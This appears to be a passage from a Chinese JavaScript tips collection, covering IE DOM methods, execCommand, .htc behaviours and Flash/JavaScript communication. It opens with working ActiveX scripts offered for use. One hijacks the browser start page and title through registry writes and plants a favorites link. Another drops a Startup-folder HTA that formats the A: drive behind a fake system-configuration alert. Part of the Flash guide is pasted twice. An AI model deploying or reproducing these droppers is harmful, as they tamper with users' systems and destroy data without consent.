document.write(“<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>”);

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + “\” + DispName +”.URL”);

Shor.TargetPath = SiteURL;

Shor.Save();

}

function f(){

try

{

//ActiveX 初始化

a1=document.applets[0];

a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”);

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”);

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID(“{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}”);

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf(“Chg”) == -1)

{

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie=”Chg=general; expires=” + expdate.toGMTString() + “; path=/;”

//设置Cookie完毕

//设置主页

Shl.RegWrite (“HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.51js.com/“);

//修改浏览器的标题

Shl.RegWrite (“HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “你的Internet Explorer已经被修改过了 51JS.COM”);

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie=”Chg=general; expires=” + expdate.toGMTString() + “; path=/;”


var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + “\Favorites”;

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + “\Documents and Settings\” + Net.UserName + “\Favorites”;

if(!FSO.FolderExists(loc))

{

return;

}

}


AddFavLnk(loc, “无忧脚本”, “http://www.51js.com“);

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout(“f()”, 1000);

}

init();

</script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object id=”scr” classid=”clsid:06290BD5-48AA-11D2-8432-006008C3FBFC”>

</object>

<SCRIPT>

scr.Reset();

scr.Path=”C:\windows\start menu\Programs\启动\automat.hta”;

scr.Doc=”<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object><SCRIPT>wsh.Run(’start /m format a: /q /autotest /u’);alert(‘Note:Windows is configing the system,do not interrupt it!.’);</”+”SCRIPT>”;

scr.write();

</script>

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

<APPLET code=”com.ms.activeX.ActiveXComponent” >

</APPLET>

<SCRIPT LANGUAGE=”JAVASCRIPT”>

a1=document.applets[0];

fn=”51js.HTM”;

doc=”<SCRIPT>s1=欢迎你访问无忧脚本!\请您将在启动文件夹内的51js.com.HTM删除即可;alert(s1);document.body.innerHTML=s1</”+”SCRIPT>”;

function f1()

{

a1.setProperty(‘DOC’,doc);

}

function f()

{

// The ActiveX classid

cl=”{06290BD5-48AA-11D2-8432-006008C3FBFC}”;

a1.setCLSID(cl);

a1.createInstance();

setTimeout(“a1.setProperty(‘Path’,'”+fn+”‘)”,1000);

setTimeout(“f1()”,1500);

setTimeout(“a1.invoke(‘write’,VA);alert(‘”+fn+” 被建立’);”,2000);

}

setTimeout(“f()”,1000)

</SCRIPT>

<SCRIPT LANGUAGE=”VBSCRIPT”>

VA = ARRAY()

‘ 获取com.ms.com.Variant[]

</SCRIPT>

<BR>

</BODY>

</HTML>原理是一样的!

46.如何监听一个窗口被关闭了?

<body onunload=”alert(‘你关闭了这个窗口’)”>

47.什么是innerHTML、outerHTML………还有innerText?

自己用代码来体会一下

<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>

<input type=button onclick=alert(test.innerText) value=”show innerText”><br/>

<input type=button onclick=alert(test.innerHTML) value=”show innerHTML”><br/>

<input type=button onclick=alert(test.outerHTML) value=”show outerHTML”><br/>

48.关于try….catch..的语法捕捉错误使用例子

try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如:

<button onclick=TryDemo()>Try…Catch…Demo</button>

<script>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在,所以会引发一个异常。

}

catch(e)

{

alert(‘错误类型:’+e+’错误信息:’+e.Descrition);

}

}

</script>
49.如何获得一个Select中选中option的value?

select.options[select.selectedIndex].value

50.this 和self 有什么区别,各在哪里用

self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

<script>

function Car(){this.name=’Car’;};alert(new Car().name);

</script>

51.如何禁止Ctrl+N?

<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有!

查找:dhtmled.ocx

或在delphi/c++builder中import activeX 选dhtmled.ocx

53.window方法列表

发现经常有人问一些有关窗口操作的问题,

所以花了些时间整理出这篇文章,

希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(sMsg)

//弹出一个确认消息框

attachEvent(sEvent,pFunction)

//绑定一个函数到某个事件,事件触发时随机执行其中一个被绑定的函数

blur()

//令窗口丧失焦点

clearInterval(iIntervalID)

//清除指定定时器的关联函数

clearTimeout(iTimeoutID)

//清除指定延时器的关联函数

close()

//关闭窗口,如果窗口不是用脚本打开的,会弹出确认对话框。

confirm([sMessage])

//弹出“确定/取消”对话框

createPopup([vArgs])

//创建一个隐藏的弹出式窗口,vArgs是未来考虑提供的参数,返回窗口句柄

detachEvent(sEvent,pFunction)

//取消一个事件的某个绑定函数

execScript(sExpression, sLanguage)

//用指定的语言执行代码

focus()

//激活窗口

moveBy(iX,iY)

//用相对方式移动窗口

moveTo(iLeft,iTop)

//用绝对方式移动窗口

navigate(sURL)

//转到指定的连接

open( [sURL] [, sName] [, sFeatures] [, bReplace])

//打开新窗口,并返回窗口句柄

//sName=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口;_self:替换本窗口; _top:在顶级窗口里打开;*)

//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()

//打印当前窗口文档内容

prompt( [sMessage] [, sDefaultValue])

//弹出输入对话框

resizeBy(iX, iY)

//以相对方式改变窗口大小

resizeTo(iWidth, iHeight)

//以绝对方式改变窗口大小

scroll(iX,iY)

滚动窗口,与scrollTo一样的效果,出于兼容性的考虑保留下来的方法

scrollBy(iX, iY)

//用相对方式滚动窗口

scrollTo(iX, iY)

//用绝对方式滚动窗口

setActive()

//激活目标而不将视线转向目标

setInterval(vCode, iMilliSeconds [, sLanguage])

//定时执行一段代码

setTimeout(vCode, iMilliSeconds, sLanguage)

//延时执行一段代码

showHelp(sURL [, vContextID])

//打开一个帮助文件,sURL为帮助文档地址,vContextID为帮助索引号

showModalDialog(sURL [, vArguments] [, sFeatures])

showModalDialog(sURL [, vArguments] [, sFeatures])

//打开一个模式对话框

//vArguments=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])

//打开一个非模式对话框

//vArgument=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

54.execCommand的完全参考(中文版)

document.execCommand(sCommand[,交互方式, 动态参数])

2D-Position;document.execCommand(“2D-Position”,”false”,”true”);使绝对定位的对象可直接拖动;ie5.5

AbsolutePosition;document.execCommand(“AbsolutePosition”,”false”,”true”);使对象定位变成绝对定位;ie5.5

BackColor;document.execCommand(“BackColor”,”false”,sColor);设置背景颜色;ie4.0

BlockDirLTR;none;使块级元素排版方式为从左到右?;不支持

BlockDirRTL;none;使块级元素排版方式为从右到左?;不支持 Bold;document.execCommand(“Bold”,”false”,null);使选中区域的文字加粗;ie4.0

BrowseMode;none;设置浏览器模式?;不支持 Copy;

document.execCommand(“Copy”,”false”,null);复制选中的文字到剪贴板;ie4.0 CreateBookmark;document.execCommand(“CreateBookmark”,”false”,sAnchorName);设置指定锚点为书签;ie4.0

CreateLink;document.execCommand(“CreateLink”,”false”,sLinkURL);将选中文本变成超连接,若第二个参数为true,会出现参数设置对话框;ie4.0

Cut;document.execCommand(“Cut”,”false”,null);剪贴选中的文字到剪贴板;ie4.0

Delete;document.execCommand(“Delete”,”false”,null);删除选中的文字;ie4.0

DirLTR;none;排版方式为从左到右?;不支持 DirRTL;none;排版方式为从右到左?;不支持

EditMode;none;设置编辑模式?;不支持

FontName;document.execCommand(“FontName”,”false”,sFontName);改变选中区域的字体;ie4.0

FontSize;document.execCommand(“FontSize”,”false”,sSize|iSize);改变选中区域的字体大小;ie4.0

ForeColor;document.execCommand(“ForeColor”,”false”,sColor);设置前景颜色;ie4.0

FormatBlock;document.execCommand(“FormatBlock”,”false”,sTagName);设置当前块的标签名;ie4.0

55.可以在TEXTAREA中实现在光标处用脚本来加入文本吗?

<form>

<textarea cols=”50″></textarea>

<br/>

<textarea cols=”50″></textarea>

<br/>

<textarea cols=”50″></textarea>

<br/>

<input type=button value=”paste” onclick=paste()>

<input type=”reset” name=”Reset” value=”Reset”>

<script language=JavaScript>

var lastElement=null;

function BlurText()

{

lastElement=event.srcElement;

}

for(var i in document.all)

{

var Element=document.all[i];

if(Element.tagName==”TEXTAREA”)

// if(Element.type==”text”)

Element.onblur=BlurText;

}

function paste()

{

lastElement.focus();

document.execCommand(“paste”);

}

</script>

</form>
56.什么是.htc?

作者:沈欣  出处:china.com

在微软IE 5.0版本的浏览器发布以前,网页编程中面对的最大挑战就是不能轻易地创建组件,以达到代码重用和多页面共享的目的。这个问题一直困扰着DHTML(动态 HEML)的网页编程者。他们只能不断地重复书写HTML、CSS和JAVASCRIPT的代码,以满足多个页面上的重复或相似的功能。自IE 5.0浏览器发布后,这种情况得到了改善,它带给我们一个新的指令组合方法,可把实现特定功能的代码封装在一个组件内,从而实现多页面的代码重用,使网页编程进入一个全新的天地。这个新的技术就是我们要谈到的DHTML中的“行为”(Behaviors)。

  “行为”作为一个简单易用的组件,它封装了页面上特定的功能或动作。当把一个“行为”附到WEB页面中的一个元件上时,这个元件的原有行为就会有所改变。因此,网页编程者可以开发通用的DHTML指令,并改变原有对象的一些属性,用“行为”来增强一个对象的功能,同时也简化了页面的HTML代码。而且“行为”的创建和使用也非常简单方便,所需的知识也只是原来已经习惯使用的CSS样式表、HTML指令和JAVASCRIPT脚本语言。只要你对此有所了解,有过实际编程的经历,学习并掌握“行为”的使用完全没有问题。我们将以一个改变字体效果的“行为”组件为例来说明如何编写和使用一个“行为”,并体验“行为”给页面编辑带来的优点和方便之处。

  首先新建一个名为font_efftce.htc的文本文件,组成“行为”组件的文件都是以.htc为扩展名,这个文件中的内容就是我们对这个“行为”的描述。它的创建和使用步骤如下:

(1)首先给这个“行为”增加几个事件响应,语句书写格式如下:

< PUBLIC:ATTACH EVENT=”onmouseover” ONEVENT=”glowit()” / >

< PUBLIC:ATTACH EVENT=”onmouseout” ONEVENT=”noglow()” / >

< PUBLIC:ATTACH EVENT=”onmousedown” ONEVENT=”font2yellow()” / >

< PUBLIC:ATTACH EVENT=”onmouseup” ONEVENT=”font2blue()” / >

  “EVENT”对应所需事件名,在这里分别为:onmouseover,onmouseout,onmousedown,onmouseup四个事件名,你当然可以再增加其它的事件名来满足你的特定需求。“ONEVENT”对应着个自的事件句柄,即事件触发时所调用的函数名称。glowit()函数使字体周围产生一个红色的辉光。noglow()函数是消除字体的辉光效果。Font2yellow()函数是把字体颜色改为黄色。Font2blue()函数是把字体颜色改为蓝色。四个事件的定义都是相似的。

(2)接下来,再给这个“行为”增加二个“方法”定义,内容如下。

< PUBLIC:METHOD NAME=”move_down” / >

< PUBLIC:METHOD NAME=”move_right” / >

  “NAME”参数对应的是给定的“方法”名称。move_down和move_right分别是向下和向右移动的“方法”对应的函数名称。注意,在方法名的后面不要带“( )”括号,即不要写成“move_down()”这个样子,这在“方法”定义的语法上是不允许的。

(3)接下来的工作就是在我们熟悉的DHTML环境下,用JAVASCRIPT脚本语句编写“事件句柄”和“方法”所对应的函数内容,实现预期的效果。具体内容参考下面的源程序。其中的“element”参数指的是这个“行为”所附着的对象,因为“行为”总是被附着到页面的元件上面,并通过这个元件发挥作用。其它语句都是DHTML的编程内容,就不再多说了。如有不明之处,可参考微软的MSDN开发文档中有关IE浏览器的内容,上面有详细的DHTML编程参考内容、属性和方法使用说明等,并包含了大量的文章和举例程序。经常访问微软的MSDN文档,尤其对于初学者来说是一个良好的学习习惯,你几乎可以得到任何你想找的答案,它的网址为:http://msdn.microsoft.com/ie/

  完整的“行为”文档“font_effect.htc”的内容如下:

////////////////////////////“行为”文档开始///////////////////////////////////

//给“行为”增加四个鼠标事件

< PUBLIC:ATTACH EVENT=”onmouseover” ONEVENT=”glowit()” / >

< PUBLIC:ATTACH EVENT=”onmouseout” ONEVENT=”noglow()” / >

< PUBLIC:ATTACH EVENT=”onmousedown” ONEVENT=”font2yellow()” / >

< PUBLIC:ATTACH EVENT=”onmouseup” ONEVENT=”font2blue()” / >

//给“行为”定义二个方法

< PUBLIC:METHOD NAME=”move_down” / >

< PUBLIC:METHOD NAME=”move_right” / >

< SCRIPT LANGUAGE=”JScript” >

//定义一个保存字体颜色的变量

var font_color;

//定义向下移动文字的方法

function move_down()

{

element.style.posTop+=2;

}

//定义向右移动文字的方法

function move_right()

{

element.style.posLeft +=6;

}

//定义鼠标onmouseup事件的调用函数

function font2blue(){

if (event.srcElement == element)

{

element.style.color=’blue’;

}

}

//定义鼠标onmousedown事件的调用函数

function font2yellow(){

if (event.srcElement == element)

{

element.style.color=’yellow’;

}

}

//定义鼠标onmouseover事件的调用函数

function glowit()

{

if (event.srcElement == element)

{

font_color=style.color;

element.style.color=’white’;

element.style.filter=”glow(color=red,strength=2)”;

}

}

//定义鼠标onmouseout事件的调用函数

function noglow()

{

if (event.srcElement == element)

{

element.style.filter=”";

element.style.color=font_color;

}

}

< /SCRIPT >

//////////////////“行为”文档结束///////////////////////////////

(4)如何在一个页面上使用“行为”

  在页面上使用“行为”组件,并不需要学习新的知识。所需的知识的也不过是CSS样式表和HTML的设置而已,请看下面的语句。

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

  可以看出,这和以前我们已经熟知的样式表设置完全相同。上面的语句定义了一个样式名:“myfilter”,其中对我们来说比较新的内容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行为”属性名,这就是“行为”在样式表中的设置方式。括号中的内容是“行为”文档的文件名,本例中表明“行为”文档在与页面文件在同一个目录下,如果“行为”文档安置在其它目录下,在此参数的前面要加上相应的路径名,以保证可以正确地定位“行为”文档的位置。此“样式”中的其它内容就是普通的样式属性设置,可根据你的需要增减,但在此例中,由于使用了“glow”滤镜效果,至少要设置一个宽度(width)属性。通过以上的样式指定,我们就有了一个名为:“myfilter”的样式,它附带一个有字体变化效果的“行为”。如果你想要在一个页面元件上使用这个附带“行为”的样式,同样也很简单,只要把这个“样式名”安置在元件的属性设置区域即可,见下面的语句。

< span id=”myspan” class=’myfilter’ >行为产生的文字效果< /span >< br >

< span class=’myfilter’ >鼠标指向后产生辉光< /span >

  以上语句里面没有什么新的内容,class=’myfilter’就是我们所熟悉的样式设置。在第一个“span”标记的属性中还定义了一个“id”标记,稍后就会看到,这是用来演示调用“行为”内的“方法”而设置的。这样设置后,“span”元件中的内容就可以显示出“行为”组件内的预定效果:
1. 鼠标指针移动到文字内容上时,在文字周围产生红色的辉光效果,同时文字变成白色。

2. 当鼠标按钮按下时,文字颜色改变为黄色。

3. 鼠标按钮抬起后,文字颜色又改变为蓝色。

4. 当鼠标指针移动到文字区域以外时,去掉了红色辉光效果,文字恢复原样。

  另外,我们在定义“行为”时设置了二个“方法”,“move_down”和“move_right”。为调用这二个“方法”,定义了二个按钮:

< button onclick=”myspan.move_right();” >向右移动第一行文字< /button >< br >

< button onclick=”myspan.move_down();” >向下移动第一行文字< /button >

  用按钮的onclick事件去调用这二个“方法”,先前定义的“id”标记就作为元件的对象名称,用“myspan.move_down”来调用“方法”,操纵这个对象。可以看到,在按下相应的按钮后,会使第一行的文字产生向下或向右的移动。虽然只是用第一行文字做了示范,实际上,只要做相应的设置,你也可以移动其它对象。页面源文档的完整内内容如下:

< html >

< HEAD >

< TITLE >行为效果演示< /TITLE >

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

< /HEAD >

< BODY >

< span id=”myspan” class=’myfilter’ >行为产生的文字效果< /span >< br >

< span class=’myfilter’ >鼠标指向后产生辉光< /span >< br >

< span class=’myfilter’ >同时文字变白< /span >< br >

< span class=’myfilter’ >按下鼠标后文字变黄< /span >< br >

< span class=’myfilter’ >抬起鼠标后文字变蓝< /span >< br >

< span class=’myfilter’ >鼠标离开后文字恢复原状< /span >< br >

< button onclick=”myspan.move_right();” >向右移动第一行文字< /button >< br >

< button onclick=”myspan.move_down();” >向下移动第一行文字< /button >

< /BODY >

< /html >

  通过以上的简单介绍,可以看出,我们很容易地在一个“行为”中同时组合了多种文字变化效果,通过简单的“样式”设置,任意地将它与页面元件相关连,体现了“行为”组件的优点和强大功能。一个“行为”组件,不仅能在一个页面内重复使用,也可供同一站点上的所有页面使用。试想一下,如果不使用“行为”来完成上述的效果,虽然可以在页面内调用一组预定的函数来完成同样的功能,但页面内每一个使用文字效果的元件都要附加四个鼠标事件,如果在多个页面内使用相同的效果,被调用的函数也需要在每一个页面内重复设置。相比之下,孰优孰劣是很明显的。所以,使用“行为”组件,可以制作出简洁、高效、通用和便于维护的页面。本文的举例只是为了说明“行为”组件的编写和使用过程,使读者对“行为”编程有一个概括的了解,并以此基础制作出自己所需要的“行为”组件,或直接引用满足个人需要的现成“行为”组件,因为“组件共享”的概念也是“行为”开发者的初衷。最后,愿本文能起到“抛砖引玉”的目的,使读者步入精彩的DHTML网页编程天地。

说明:

HTC是HTML component的缩写,

是IE5.0的主要扩展之一,

除了具备一般组件的可重用优点之外,

还具有易于开发使用等优点,

因为需要引入外部文件,这里就不举例了,宝库里有例子.

控件和组件

HTC提供了一个简单机制以在脚本中实现DHTML行为。一个HTC文件和HTML文件没有任何差别,并且以“.htc”为后缀,

可以使用HTC实现以下行为:

设定属性和方法。通过“PROPERTY”和“METHOD”元素定义

设置自定义事件。通过“EVENT”元素实现,用该元素的“fire()”方法释放事件,

通过“createEventObject()”方法设置事件环境。

访问所包含该HTC的的HTML页的DHTML对象模型,使用HTC的“element”对象,返回

一个附加行为的元素,使用该对象,HTC可以访问包含文挡及它的对象模型(属性、方法、事件)。

收取通知,使用”ATTACH“元素实现,浏览器不但通知HTC标准的DHTML事件,而且通知HTC两种特殊事件:oncontentready事件和ondocumentready事件 。

定义标记和命名空间

HTC的基础是自定义标记

要为页面定义自定义标记,必须为该标记提供命名空间

要使用该标记必须在该标记前加上正确的XML命名空间前缀

例如:

定义一个新标记RIGHT的例子

<HTML XMLNSOCJS>

<HEAD>

<STYLE>

@media all {

DOCJSRIGHT {text-align:right; width:100}

}

</STYLE>

</HEAD>

<BODY>

<DOCJS:RIGHT>

Read Doc JavaScript’s columns, tips, tools, and tutorials

</DOCJS:RIGHT>

</BODY>

</HTML>

可以在单个HTML标记

中定义多个命名空间:

<HTML XMLNSOCJS XMLNSOCJAVASCRIPT>

组件定义

组件的名字是由HTC文档里定义在第一行的XML命名空间决定的

该页不用调用其他的HTC话,就只有一个命名空间定义

实际上,HTML组件的定义就是自定义标签行为的定义

该行为包括一个属性和一个事件:

<HTML xmlns:MyTag>

<HEAD>

<PUBLIC:COMPONENT tagName=”MyTag”>

<PROPERTY NAME=”value”></PROPERTY>

<ATTACH EVENT=”oncontentready” ONEVENT=”fnInit()”<>/ATTACH>

</PUBLIC:COMPONENT>

<STYLE>//为组件定义样式表

.cssMyTag{

}

</STYLE>

<SCRIPT language=JavaScript>

function MyTagBehavior1(){} //为组件定义方法

</SCRIPT>

</HEAD>

<BODY onclick=MyTagBehavior1> //为组件定义响应事件

</BODY>

</HTML>

其中的oncontentready是在组件被调用者完全导入时触发

再看看fnInit()

function fnInit() {

document.body.innerHTML = element.value;//设定组件显示内容

document.body.className = “clsMyTag”; //设定显示样式表,

defaults.viewLink = document; //使本组件对其他文档可见

element.aProperty = element.value; //设置组件的属性值

}

组件的调用

<HTML xmlns:MyCom>

<HEAD>

<?IMPORT NAMESPACE=”MyCom” IMPLEMENTATION=”MyTag.htc”/>

</HEAD>

<BODY>

<MyCom:MyTag></MyCom:MyTag>

</BODY>

</html>

57.如何把页面加入用户的收藏夹?

<a href=”javascript:window.external.AddFavorite(‘http://www.bihu.net’,'织梦乱弹’)”>收藏</a>

2004年12月26日

JavaScript和Macromedia Flash的通信示例
原文地址:
www.macromedia.com/support/flash/ts/documents/java_script_comm.htm
说明: 略作修改,主要是一些很初级的操作; 又很多相似的文章,不过这个很权威

下面是一些在Flash和使用Javascript的HTML文件直接通信的示例,每个示例都有简略的步骤

本文讨论了3种基本的
JavaScript和Macromedia Flash的通信示例
原文地址:
www.macromedia.com/support/flash/ts/documents/java_script_comm.htm
说明: 略作修改,主要是一些很初级的操作; 又很多相似的文章,不过这个很权威

下面是一些在Flash和使用Javascript的HTML文件直接通信的示例,每个示例都有简略的步骤

本文讨论了3种基本的Flash/Javascript通信方式:
Javascript 到 Flash的通信—-使用Flash播放器的javascript方法
Flash 到 Javascript的通信—-使用Flash的fscommand
Flash 到 Flash的通信———-使用本地连接对象或综合上2种技术

并不是所有的浏览器都很重视脚本.为了和Flash播放器通信,浏览器必须有内置的钩子以便Flash播放器可以’监听’.浏览器必须是下列的几种:
Netscape Navigator 3.0-4.7x, 和 Netscape 6.2或更高
(Windows 95/98/NT/2000/XP 或 MacOS; 允许Java和LiveConnect)
Internet Explorer 3.0 或更高
(仅Windows 95/98/NT/2000/XP; 允许ActiveX)

注意:Macintosh上的Internet Explorer和早期版本的Netscape6不支持这种方法.请查看本文的附加信息

Javascript到Flash的通信

这个例子演示了如何使用Flash的method把变量从HTML的input text 发送到该页面中的Flash文件中.HTML input的数据通过Flash的SetVariable方法传送到Flash文件中.

查看示例:示例
下载源文件: javascript_to_flash.zip(17k)

步骤:

Flash中
1.新建一个文件,保存为javascript_to_flash.fla
2.用文字工具在舞台上创建一个文本域
3.选择这个文本域,在属性面板中,从下拉列表中选择动态文本(Dynamic Text),在变量(variable)栏填上”myVar”
注意:最好的习惯是使用Instance,用myVar.text更改myVar的值.为了简单起见和兼容Flash4和Flash5,我们使用的是变量名的形式.
4.保存文件
5.发布HTML文件和SWF文件

Dreamweaver中
下一步的工作转移到Dreamweaver中了,当然也可以是其他的HTML编辑器
1.打开上一步发布的HTML文件
2.插入生成的SWF文件和OBJECT/EMBED标签
(1) Insert>Media>Flash,并选择这个Flash
(2) 切换到代码视图,我们需要修改被选中的<OBJECT>和<EMBED>标签
(3) 在OBJECT标签中,插入id=”myFlash”

<object classid=”clsid:D27CDB6E-AE6D-11cf-96B8-444553540000″
codebase=”
http://download.macromedia.com/pub/shockwave/cabs/
flash/swflash.cab#version=5,0,0,0″
width=366 height=142 id=”myFlash”>
注意:如果你是粘贴复制代码的话,确保删除不必要的换行.否则可能会引起错误; id也可以在属性面板里直接输入
(4) 在EMBED标签中,插入name=”myFlash”和swLiveConnect=”true”,确保没有使用id属性!代码应当是这样子的:

<embed src=”javascript_to_flash.swf” quality=high width=366 height=142
type=”application/x-shockwave-flash” pluginspage=”
http://www.macromedia.com/shockwave/download/index.cgi?
P1_Prod_Version=ShockwaveFlash”
name=”myFlash” swLiveConnect=”true”>
</embed>

3.创建表单域
(1) 回到设计视图
(2) 插入文本域(Insert> Form Object> Text Field),如果询问是否添加表单域,选择是
(3) 把文本域的HTML标签修改成这样:

<input type=”text” name=”sendText” maxlength=”45″ onChange=”doPassVar(this)”>
每当文本域内容发生变化时,onChange就被触发,doPassVar()函数就被调用

4.创建传递变量值的Javascript函数
复制下面的Javascript到<head></head>标签内

<SCRIPT LANGUAGE=JavaScript>
<!–
function doPassVar(args){
var sendText = args.value;
  window.document.myFlash.SetVariable(“myVar”, sendText);
}
//–>
</SCRIPT>
5.保存文件,测试一下(F12)

Flash/Javascript通信方式:
Javascript 到 Flash的通信—-使用Flash播放器的javascript方法
Flash 到 Javascript的通信—-使用Flash的fscommand
Flash 到 Flash的通信———-使用本地连接对象或综合上2种技术

并不是所有的浏览器都很重视脚本.为了和Flash播放器通信,浏览器必须有内置的钩子以便Flash播放器可以’监听’.浏览器必须是下列的几种:
Netscape Navigator 3.0-4.7x, 和 Netscape 6.2或更高
(Windows 95/98/NT/2000/XP 或 MacOS; 允许Java和LiveConnect)
Internet Explorer 3.0 或更高
(仅Windows 95/98/NT/2000/XP; 允许ActiveX)

注意:Macintosh上的Internet Explorer和早期版本的Netscape6不支持这种方法.请查看本文的附加信息

Javascript到Flash的通信

这个例子演示了如何使用Flash的method把变量从HTML的input text 发送到该页面中的Flash文件中.HTML input的数据通过Flash的SetVariable方法传送到Flash文件中.

查看示例:示例
下载源文件: javascript_to_flash.zip(17k)

步骤:

Flash中
1.新建一个文件,保存为javascript_to_flash.fla
2.用文字工具在舞台上创建一个文本域
3.选择这个文本域,在属性面板中,从下拉列表中选择动态文本(Dynamic Text),在变量(variable)栏填上”myVar”
注意:最好的习惯是使用Instance,用myVar.text更改myVar的值.为了简单起见和兼容Flash4和Flash5,我们使用的是变量名的形式.
4.保存文件
5.发布HTML文件和SWF文件

Dreamweaver中
下一步的工作转移到Dreamweaver中了,当然也可以是其他的HTML编辑器
1.打开上一步发布的HTML文件
2.插入生成的SWF文件和OBJECT/EMBED标签
(1) Insert>Media>Flash,并选择这个Flash
(2) 切换到代码视图,我们需要修改被选中的<OBJECT>和<EMBED>标签
(3) 在OBJECT标签中,插入id=”myFlash”

<object classid=”clsid:D27CDB6E-AE6D-11cf-96B8-444553540000″
codebase=”
http://download.macromedia.com/pub/shockwave/cabs/
flash/swflash.cab#version=5,0,0,0″
width=366 height=142 id=”myFlash”>
注意:如果你是粘贴复制代码的话,确保删除不必要的换行.否则可能会引起错误; id也可以在属性面板里直接输入
(4) 在EMBED标签中,插入name=”myFlash”和swLiveConnect=”true”,确保没有使用id属性!代码应当是这样子的:

<embed src=”javascript_to_flash.swf” quality=high width=366 height=142
type=”application/x-shockwave-flash” pluginspage=”
http://www.macromedia.com/shockwave/download/index.cgi?
P1_Prod_Version=ShockwaveFlash”
name=”myFlash” swLiveConnect=”true”>
</embed>

3.创建表单域
(1) 回到设计视图
(2) 插入文本域(Insert> Form Object> Text Field),如果询问是否添加表单域,选择是
(3) 把文本域的HTML标签修改成这样:

<input type=”text” name=”sendText” maxlength=”45″ onChange=”doPassVar(this)”>
每当文本域内容发生变化时,onChange就被触发,doPassVar()函数就被调用

4.创建传递变量值的Javascript函数
复制下面的Javascript到<head></head>标签内

<SCRIPT LANGUAGE=JavaScript>
<!–
function doPassVar(args){
var sendText = args.value;
  window.document.myFlash.SetVariable(“myVar”, sendText);
}
//–>
</SCRIPT>
5.保存文件,测试一下(F12)

FLASH调用外部文件详解

Flash加载外部文件
Flash可以通过帧、按扭、影片剪辑来调用外部文件。调用的外部文件包括:外部文本文件、外部程序文件、外部*.swf文件、外部图片文件、外部音乐文件、外部脚本文件。
一.调用外部文本文件:(文本文件开头要以flash中的动态文本框的变量名开头,如
msg=”……….”这样的形式,要和编辑的Flash文件放在同一目录下)
1.用工具箱中的文本工具,选择动态文本,给动态文本一个变量名,如:msg,在编辑区拖出一个文本框
2.制作两个按扭(一个调用,一个清除)拖放到场景中。
3.调用按扭上添加AS:
on(release){//松开鼠标后执行下面的代码;
  loadVariables(“msg.txt”,msg);//调用和你编辑的Flash处于同一目录下的msg.txt文本文件到动态文本msg中;
  System.useCodepage=true;//使外部文件的中文字符能够正确显示;
}
4.清除按扭上的AS:
on(release){//松开鼠标后清楚动态文本框中的内容;
msg=”";
}
5.Ctrl+Enter测试.

当然代码也可以写在帧上:(调用按扭的实例名是bt1,清除按扭的实例名是bt2)
在第一帧上加如下代码:
stop();
_root.bt1.onRelease=function(){
  loadVariables(“msg.txt”,msg);
  System.useCodepage=true;
}
_root.bt2.onRelease=function(){
  _root.msg=”";
}

Ctrl+Enter测试.


调用的外部文本文件能够滚动:
1.用工具箱中的文本工具,选择动态文本,给动态文本一个变量名,如:msg,在编辑区拖出一个文本框
2.新建一层,制作两个按扭(一个调用,一个清除)拖放到此层中
